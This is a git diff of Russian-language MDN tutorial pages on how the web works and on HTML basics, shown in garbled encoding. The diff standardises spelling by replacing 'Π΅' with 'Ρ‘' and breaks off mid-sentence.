-<p>Π­Ρ‚Π° тСория Π½Π΅ Ρ‚Π°ΠΊ Π²Π°ΠΆΠ½Π° для написания Π²Π΅Π±-ΠΊΠΎΠ΄Π° Π² краткосрочной пСрспСктивС, Π½ΠΎ Π² скором Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π²Ρ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π°Ρ‡Π½Π΅Ρ‚Π΅Β ΠΈΠ·Π²Π»Π΅ΠΊΠ°Ρ‚ΡŒ Π²Ρ‹Π³ΠΎΠ΄Ρƒ ΠΈΠ· понимания Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ происходит Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅.</p>
+<p>Π­Ρ‚Π° тСория Π½Π΅ Ρ‚Π°ΠΊ Π²Π°ΠΆΠ½Π° для написания Π²Π΅Π±-ΠΊΠΎΠ΄Π° Π² краткосрочной пСрспСктивС, Π½ΠΎ Π² скором Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π²Ρ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅Β ΠΈΠ·Π²Π»Π΅ΠΊΠ°Ρ‚ΡŒ Π²Ρ‹Π³ΠΎΠ΄Ρƒ ΠΈΠ· понимания Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ происходит Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅.</p>
<h2 id="ΠšΠ»ΠΈΠ΅Π½Ρ‚Ρ‹_ΠΈ_сСрвСры">ΠšΠ»ΠΈΠ΅Π½Ρ‚Ρ‹ ΠΈ сСрвСры</h2>
-<p>ΠšΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ ΠΊ сСти Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°ΠΌΠΈ ΠΈ сСрвСрами. УпрощСнная схСма Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚, ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>ΠšΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅ ΠΊ сСти Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°ΠΌΠΈ ΠΈ сСрвСрами. Упрощённая схСма Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚, ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/8973/Client-server.jpg" style="height: 123px; width: 336px;"></p>
<ul>
- <li>ΠšΠ»ΠΈΠ΅Π½Ρ‚Ρ‹ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈΒ ΠΊ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ посрСдством устройств (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΊ Wi-Fi, ΠΈΠ»ΠΈ ваш Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΊ мобильной сСти) ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния, доступного Π½Π° этих устройствах (ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Firefox ΠΈΠ»ΠΈ Chrome).</li>
+ <li>ΠšΠ»ΠΈΠ΅Π½Ρ‚Ρ‹ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΌΠΈΒ ΠΊ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ посрСдством устройств (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΊ Wi-Fi, ΠΈΠ»ΠΈ ваш Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΊ мобильной сСти) ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния, доступного Π½Π° этих устройствах (ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Firefox ΠΈΠ»ΠΈ Chrome).</li>
<li>Π‘Π΅Ρ€Π²Π΅Ρ€Ρ‹ - это ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ хранят Π²Π΅Π±-страницы, сайты ΠΈΠ»ΠΈ прилоТСния. Когда клиСнтскоС устройство пытаСтся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π²Π΅Π±-страницС, копия страницы загруТаСтся с сСрвСра Π½Π° клиСнтский ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ для отобраТСния Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</li>
</ul>
@@ -51,7 +51,7 @@ translation_of: Learn/Getting_started_with_the_web/How_the_Web_works
<ul>
<li><strong>Π’Π°ΡˆΠ΅ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</strong>: ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ΠΈ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎ сСти. Оно ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎ ΡƒΠ»ΠΈΡ†Π΅ ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄ΠΎΠΌΠΎΠΌ ΠΈ ΠΌΠ°Π³Π°Π·ΠΈΠ½ΠΎΠΌ.</li>
<li><strong>TCP/IP</strong>: ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» УправлСния ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ΠΉΒ ΠΈ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΊΠΎΠΌΠΌΡƒΠ½ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΌΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π°ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚, ΠΊΠ°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π΄Π°Π½Π½Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒΡΡ ΠΏΠΎ сСти. Они ΠΊΠ°ΠΊ транспортныС срСдства, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π·Π°ΠΊΠ°Π·, ΠΏΠΎΠΉΡ‚ΠΈ Π² ΠΌΠ°Π³Π°Π·ΠΈΠ½ ΠΈ ΠΊΡƒΠΏΠΈΡ‚ΡŒ ваши Ρ‚ΠΎΠ²Π°Ρ€Ρ‹. Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, это ΠΊΠ°ΠΊ Π°Π²Ρ‚ΠΎΠΌΠΎΠ±ΠΈΠ»ΡŒ ΠΈΠ»ΠΈ вСлосипСд (ΠΈΠ»ΠΈ собствСнныС Π½ΠΎΠ³ΠΈ).</li>
- <li><strong>DNS</strong>: БистСма Π”ΠΎΠΌΠ΅Π½Π½Ρ‹Ρ… Π˜ΠΌΡ‘Π½ Π½Π°ΠΏΠΎΠΌΠΈΠ½Π°Π΅Ρ‚ Π·Π°ΠΏΠΈΡΠ½ΡƒΡŽ ΠΊΠ½ΠΈΠΆΠΊΡƒ для Π²Π΅Π±-сайтов. Когда Π²Ρ‹ Π²Π²ΠΎΠ΄ΠΈΡ‚Π΅ Π²Π΅Π±-адрСс Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ обращаСтся ΠΊ DNS, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ адрСс Π²Π΅Π±-сайта, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΎΠ½ смоТСт Π΅Π³ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ.Β Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ, Π½Π° ΠΊΠ°ΠΊΠΎΠΌ сСрвСрС ΠΆΠΈΠ²Π΅Ρ‚ сайт, поэтому ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ HTTP-сообщСния Π² Π½ΡƒΠΆΠ½ΠΎΠ΅ мСсто (см. НиТС). Π­Ρ‚ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° поиск адрСса ΠΌΠ°Π³Π°Π·ΠΈΠ½Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΠΏΠ°ΡΡ‚ΡŒ Π² Π½Π΅Π³ΠΎ.</li>
+ <li><strong>DNS</strong>: БистСма Π”ΠΎΠΌΠ΅Π½Π½Ρ‹Ρ… Π˜ΠΌΡ‘Π½ Π½Π°ΠΏΠΎΠΌΠΈΠ½Π°Π΅Ρ‚ Π·Π°ΠΏΠΈΡΠ½ΡƒΡŽ ΠΊΠ½ΠΈΠΆΠΊΡƒ для Π²Π΅Π±-сайтов. Когда Π²Ρ‹ Π²Π²ΠΎΠ΄ΠΈΡ‚Π΅ Π²Π΅Π±-адрСс Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ обращаСтся ΠΊ DNS, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ адрСс Π²Π΅Π±-сайта, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΎΠ½ смоТСт Π΅Π³ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ.Β Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ, Π½Π° ΠΊΠ°ΠΊΠΎΠΌ сСрвСрС ΠΆΠΈΠ²Ρ‘Ρ‚ сайт, поэтому ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ HTTP-сообщСния Π² Π½ΡƒΠΆΠ½ΠΎΠ΅ мСсто (см. НиТС). Π­Ρ‚ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° поиск адрСса ΠΌΠ°Π³Π°Π·ΠΈΠ½Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΠΏΠ°ΡΡ‚ΡŒ Π² Π½Π΅Π³ΠΎ.</li>
<li><strong>HTTP</strong>: ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ГипСртСкста - это {{Glossary("Protocol", "ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ опрСдСляСт язык для ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ² ΠΈ сСрвСров, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Ρ‰Π°Ρ‚ΡŒΡΡ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ. Он, ΠΊΠ°ΠΊ язык, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΊΠ°Π·Π°Ρ‚ΡŒ ваш Ρ‚ΠΎΠ²Π°Ρ€.</li>
<li><strong>Π€Π°ΠΉΠ»Ρ‹ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ²</strong>: сайт состоит ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ ΠΎΡ‚Π΄Π΅Π»Π°ΠΌ с Ρ‚ΠΎΠ²Π°Ρ€Π°ΠΌΠΈΒ Π² ΠΌΠ°Π³Π°Π·ΠΈΠ½Π΅. Π­Ρ‚ΠΈ Ρ„Π°ΠΉΠ»Ρ‹ Π±Ρ‹Π²Π°ΡŽΡ‚ Π΄Π²ΡƒΡ… основных Ρ‚ΠΈΠΏΠΎΠ²:
<ul>
@@ -66,9 +66,9 @@ translation_of: Learn/Getting_started_with_the_web/How_the_Web_works
<p>Когда Π²Ρ‹ Π²Π²ΠΎΠ΄ΠΈΡ‚Π΅ Π²Π΅Π±-адрСс Π² свой Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ (для нашСй Π°Π½Π°Π»ΠΎΠ³ΠΈΠΈ - посСщаСтС магазин):</p>
<ol>
- <li>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ обращаСтся ΠΊ DNS сСрвСру ΠΈ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ адрСс сСрвСра, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ "ΠΆΠΈΠ²Π΅Ρ‚" сайт (Π’Ρ‹ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ адрСс ΠΌΠ°Π³Π°Π·ΠΈΠ½Π°).</li>
+ <li>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ обращаСтся ΠΊ DNS сСрвСру ΠΈ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ адрСс сСрвСра, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ "ΠΆΠΈΠ²Ρ‘Ρ‚" сайт (Π’Ρ‹ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ адрСс ΠΌΠ°Π³Π°Π·ΠΈΠ½Π°).</li>
<li>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ посылаСт HTTP запрос ΠΊ сСрвСру, Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ Π΅Π³ΠΎ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ копию сайта для ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° (Π’Ρ‹ ΠΈΠ΄Ρ‘Ρ‚Π΅ Π² ΠΌΠ°Π³Π°Π·ΠΈΠ½ ΠΈ Π·Π°ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Ρ‚ΠΎΠ²Π°Ρ€). Π­Ρ‚ΠΎ сообщСниС ΠΈ всС ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Π΅ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ ΠΈ сСрвСром, ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ ΠΏΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-соСдинСнию с использованиСм ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° TCP/IP.</li>
- <li>Если сСрвСр одобряСт запрос ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, сСрвСр отправляСт ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ статус "200 ОК", ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚: "ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° этот сайт! Π’ΠΎΡ‚ ΠΎΠ½", Π° Π·Π°Ρ‚Π΅ΠΌ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ Ρ„Π°ΠΉΠ»ΠΎΠ² сайта Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π² Π²ΠΈΠ΄Π΅ Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΏΠΎΡ€Ρ†ΠΈΠΉ, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ (ΠΌΠ°Π³Π°Π·ΠΈΠ½ Π²Ρ‹Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ ваш Ρ‚ΠΎΠ²Π°Ρ€ ΠΈΠ»ΠΈ Π²Π°ΠΌ привозят Π΅Π³ΠΎ Π΄ΠΎΠΌΠΎΠΉ).</li>
+ <li>Если сСрвСр одобряСт запрос ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, сСрвСр отправляСт ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ статус "200 ОК", ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚: "ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° этот сайт! Π’ΠΎΡ‚ ΠΎΠ½", Π° Π·Π°Ρ‚Π΅ΠΌ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ Ρ„Π°ΠΉΠ»ΠΎΠ² сайта Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π² Π²ΠΈΠ΄Π΅ Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΏΠΎΡ€Ρ†ΠΈΠΉ, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ (ΠΌΠ°Π³Π°Π·ΠΈΠ½ Π²Ρ‹Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ ваш Ρ‚ΠΎΠ²Π°Ρ€ ΠΈΠ»ΠΈ Π²Π°ΠΌ привозят Π΅Π³ΠΎ Π΄ΠΎΠΌΠΎΠΉ).</li>
<li>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ собираСт малСнькиС куски Π² ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½Ρ‹ΠΉ сайт ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π΅Π³ΠΎ Π²Π°ΠΌ (Ρ‚ΠΎΠ²Π°Ρ€ ΠΏΡ€ΠΈΠ±Ρ‹Π²Π°Π΅Ρ‚ ΠΊ вашСй Π΄Π²Π΅Ρ€ΠΈ β€” Π½ΠΎΠ²Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ, ΠΏΠΎΡ‚Ρ€ΡΡΠ°ΡŽΡ‰Π΅!).</li>
</ol>
diff --git a/files/ru/learn/getting_started_with_the_web/html_basics/index.html b/files/ru/learn/getting_started_with_the_web/html_basics/index.html
index ecfa21217d..c0265eeccc 100644
--- a/files/ru/learn/getting_started_with_the_web/html_basics/index.html
+++ b/files/ru/learn/getting_started_with_the_web/html_basics/index.html
@@ -18,7 +18,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics
<h2 id="Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_HTML_Π½Π°_самом_Π΄Π΅Π»Π΅">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ HTML Π½Π° самом Π΄Π΅Π»Π΅?</h2>
-<p>HTML Π½Π΅ являСтся языком программирования; это <em>язык Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ</em>, ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΠ±Ρ‰Π°Ρ‚ΡŒ Π²Π°ΡˆΠ΅ΠΌΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, ΠΊΠ°ΠΊ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Π²Π΅Π±-страницы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ посСщаСтС. Он ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ слоТным ΠΈΠ»ΠΈ простым, Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Ρ…ΠΎΡ‡Π΅Ρ‚ Π²Π΅Π±-Π΄ΠΈΠ·Π°ΠΉΠ½Π΅Ρ€. HTML состоит ΠΈΠ· ряда <strong>{{Glossary("element", "элСмСнтов")}}</strong>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΊΠ»Π°Π΄Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ части ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΈΠ»ΠΈ Π΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ. ΠžΠ³Ρ€Π°ΠΆΠ΄Π°ΡŽΡ‰ΠΈΠ΅ {{Glossary("tag", "Ρ‚Π΅Π³ΠΈ")}} ΠΌΠΎΠ³ΡƒΡ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ слово ΠΈΠ»ΠΈ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ссылкой Π½Π° Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΅Ρ‰Π΅, ΠΌΠΎΠ³ΡƒΡ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ слова курсивом, ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΡˆΡ€ΠΈΡ„Ρ‚ большС ΠΈΠ»ΠΈ мСньшС ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. НапримСр, возьмСм ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°:</p>
+<p>HTML Π½Π΅ являСтся языком программирования; это <em>язык Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ</em>, ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΠ±Ρ‰Π°Ρ‚ΡŒ Π²Π°ΡˆΠ΅ΠΌΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, ΠΊΠ°ΠΊ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Π²Π΅Π±-страницы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ посСщаСтС. Он ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ слоТным ΠΈΠ»ΠΈ простым, Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Ρ…ΠΎΡ‡Π΅Ρ‚ Π²Π΅Π±-Π΄ΠΈΠ·Π°ΠΉΠ½Π΅Ρ€. HTML состоит ΠΈΠ· ряда <strong>{{Glossary("element", "элСмСнтов")}}</strong>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ 